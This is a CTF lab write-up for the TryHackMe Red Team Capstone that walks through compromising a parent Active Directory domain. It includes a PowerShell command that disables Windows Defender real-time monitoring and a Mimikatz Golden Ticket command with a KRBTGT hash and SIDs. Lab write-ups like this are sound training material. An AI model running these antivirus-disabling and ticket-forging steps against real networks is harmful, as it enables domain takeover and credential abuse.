> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/red-team-capstone-challenge-tryhackme/full-compromise-of-parent-domain.md).

# Full Compromise of Parent Domain

## Summary

From our attack machine and the VPN server, we begin by starting a web server to deliver `Mimikatz` and other tools to the corpdc domain controller, which we'll use to compromise the parent domain. We start by deactivating the antivirus.&#x20;

Initially, we attempt to retrieve the Administrator hash from rootdc using `lsadump::dcsync` in `Mimikatz` with our `Domain Admin` credentials, but this attempt is unsuccessful.

Despite this, we manage to collect all the required information to craft a `Golden Ticket` that allows us to impersonate the Administrator. Using this impersonated Administrator account, we gain access to the directories on rootdc and successfully retrieve the flags, fully compromising the parent domain.

The next phase involves creating a user on `ROOTDC` using. This step will be covered in the following section.

## Breaching ROOTDC (10.200.XXX.100)

Starting a Python web server on the attack machine to distribute tools across the network.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F9GfQlWh7Fi202uiIYXFC%2Fimage.png?alt=media&amp;token=0a075daf-d5e4-46ef-9bf5-041021b586a5" alt=""><figcaption></figcaption></figure>

Downloading the tools to the VPN machine.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FJ78iAxNufdz2njvuv5O2%2Fimage.png?alt=media&amp;token=94bb27a0-a895-4368-becd-d4a75e95e09b" alt=""><figcaption></figcaption></figure>

Running a Python webserver on the VPN machine to provide the CORPDC with the tools we need.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FMX7AukokuQz6JKBI3sZh%2Fimage.png?alt=media&amp;token=9749af4c-f899-4994-9156-aafeb1a34e87" alt=""><figcaption></figcaption></figure>

To begin, we open PowerShell with administrative privileges on the corpdc.&#x20;

We then disable the antivirus using the appropriate command. After that, we download `Mimikatz` from the VPN server.

```powershell
set-mppreference -disablerealtimemonitoring $true
```

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F91XSTuKbrZ50qx7fBPuz%2Fimage.png?alt=media&amp;token=6eee3776-00e7-40d9-b433-7e2e96fdc22f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2Fg3b6Jf0kdMrzCRlwfPzt%2Fimage.png?alt=media&amp;token=5046c837-3d3c-412d-8e85-232164f228ca" alt=""><figcaption></figcaption></figure>

Next, we execute `Mimikatz` and verify our privileges.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FqdnPJT31rtpVq1zaWpN2%2Fimage.png?alt=media&amp;token=853847cf-e166-4045-9c65-21bc5815502a" alt=""><figcaption></figcaption></figure>

To specifically target the local Administrator of the `rootdc`, we first retrieve the unique `Security Identifier (SID)` for the Administrator account on the rootdc. With this identifier, we can precisely repeat the process of dumping the credentials, ensuring we are targeting the correct Administrator account on the rootdc.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F7gdcEOf9imaIYAqMXoxh%2Fimage.png?alt=media&amp;token=c050c3e8-0804-4038-8823-50d34a6daa18" alt=""><figcaption></figcaption></figure>

To craft a `Golden Ticket` and impersonate the Administrator, we need to gather the following key pieces of information:

{% embed url="<https://tryhackme.com/room/exploitingad>" %}

The `FQDN` of the domain:

```
corp.thereserve.loc
```

The `SID` of the child domain controller (CORPDC), which we will impersonate in our forged TGT:

```
S-1-5-21-170228521-1485475711-3199862024-1009
```

Get `SID` of `CORPDC:`

```powershell
Get-ADComputer -Identity "CORPDC"
```

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FXWdx6w5wDFowG9V5CzAn%2Fimage.png?alt=media&amp;token=5592e120-1ccd-4538-aefe-8ed990227aa0" alt=""><figcaption></figcaption></figure>

The username of the account we want to impersonate:

```
Administrator
```

The KRBTGT password hash:

<pre><code><strong>0c757a3445acb94a654554f3ac529ede
</strong></code></pre>

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2F71mSJkKUbq6ToeceRttt%2Fimage.png?alt=media&amp;token=14b1d2e4-d211-444b-9e67-989a40998304" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**From** <https://tryhackme.com/room/exploitingad>

kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:\<Password hash of krbtgt user> /sids:\<SID of Enterprise Admins group> /ptt
{% endhint %}

With that information, we are able to craft a golden ticket and impersonate the administrator.

{% code overflow="wrap" %}

```powershell
kerberos::golden /user:krbtgt /domain:corp.thereserve.loc /sid:S-1-5-21-170228521-1485475711-3199862024-1009 /service:krbtgt /rc4:0c757a3445acb94a654554f3ac529ede /sids:S-1-5-21-1255581842-1300659601-3764024703-519 /ptt
```

{% endcode %}

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2Fo9hUsqgR5HZ4jl8a91H4%2Fimage.png?alt=media&amp;token=acba4a2f-01d8-4174-8b17-44e4cfa37c45" alt=""><figcaption></figcaption></figure>

From there we are able to reach the directories of `rootdc`.

<figure><img src="https://2564342917-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjsQwj0hMRgqeOaja7rRi%2Fuploads%2FnXP8enKSUCxnTLoCU2kC%2Fimage.png?alt=media&amp;token=18746aa8-1964-40ec-a8ef-6894daf28990" alt=""><figcaption></figcaption></figure>

## Flags 15 - 16

{% hint style="info" %}
**NOTE**: We are now able to obtain the following flags by following the instructions on the e-citizen platform:

* **Flag 15**: Foothold on Parent Domain
* **Flag 16**: Administrative access to Parent Domain
  {% endhint %}
